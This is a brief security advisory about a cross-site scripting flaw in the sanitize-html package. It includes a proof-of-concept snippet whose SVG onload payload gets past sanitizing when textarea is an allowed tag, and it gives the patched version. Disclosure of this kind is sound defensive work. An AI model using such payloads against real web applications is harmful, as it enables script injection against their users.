Affected versions of sanitize-html
are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag
.
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});
console.log(clean);
// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
Update to version 1.11.4 or later.
{ "nvd_published_at": null, "cwe_ids": [ "CWE-79" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2020-06-16T22:02:52Z" }